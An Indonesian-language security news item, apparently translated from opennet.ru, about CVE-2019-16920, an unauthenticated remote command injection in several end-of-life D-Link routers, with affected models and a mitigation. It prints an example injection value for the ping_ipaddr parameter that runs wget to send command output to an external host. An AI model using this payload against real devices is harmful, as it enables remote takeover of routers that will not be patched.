Kerentanan yang dapat dieksploitasi dari jarak jauh di router D-Link

Di router nirkabel D-Link diidentifikasi kerentanan berbahaya (CVE-2019-16920), yang memungkinkan Anda mengeksekusi kode dari jarak jauh di sisi perangkat dengan mengirimkan permintaan khusus ke pengendali “ping_test”, dapat diakses tanpa autentikasi.

Menariknya, menurut pengembang firmware, panggilan "ping_test" harus dijalankan hanya setelah otentikasi, tetapi kenyataannya panggilan itu tetap dipanggil, terlepas dari masuk ke antarmuka web. Khususnya, saat mengakses skrip apply_sec.cgi dan meneruskan parameter “action=ping_test”, skrip dialihkan ke halaman autentikasi, tetapi pada saat yang sama melakukan tindakan yang terkait dengan ping_test. Untuk mengeksekusi kode, kerentanan lain digunakan di ping_test itu sendiri, yang memanggil utilitas ping tanpa memeriksa kebenaran alamat IP yang dikirim untuk pengujian dengan benar. Misalnya, untuk memanggil utilitas wget dan mentransfer hasil perintah “echo 1234” ke host eksternal, cukup tentukan parameter “ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// tes.tes/?$( echo 1234)".

Kehadiran kerentanan telah dikonfirmasi secara resmi pada model berikut:

• DIR-655 dengan firmware 3.02b05 atau lebih lama;
• DIR-866L dengan firmware 1.03b04 atau lebih lama;
• DIR-1565 dengan firmware 1.01 atau lebih lama;
• DIR-652 (tidak ada informasi tentang versi firmware yang bermasalah)

Masa dukungan untuk model ini telah berakhir, jadi D-Link dinyatakan, yang tidak akan merilis pembaruan untuk menghilangkan kerentanan, tidak menyarankan penggunaannya dan menyarankan untuk menggantinya dengan perangkat baru. Sebagai solusi keamanan, Anda dapat membatasi akses ke antarmuka web hanya pada alamat IP tepercaya.

Belakangan diketahui bahwa kerentanannya juga demikian mempengaruhi model DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 dan DIR-825, rencana untuk merilis pembaruan yang belum diketahui.

Sumber: opennet.ru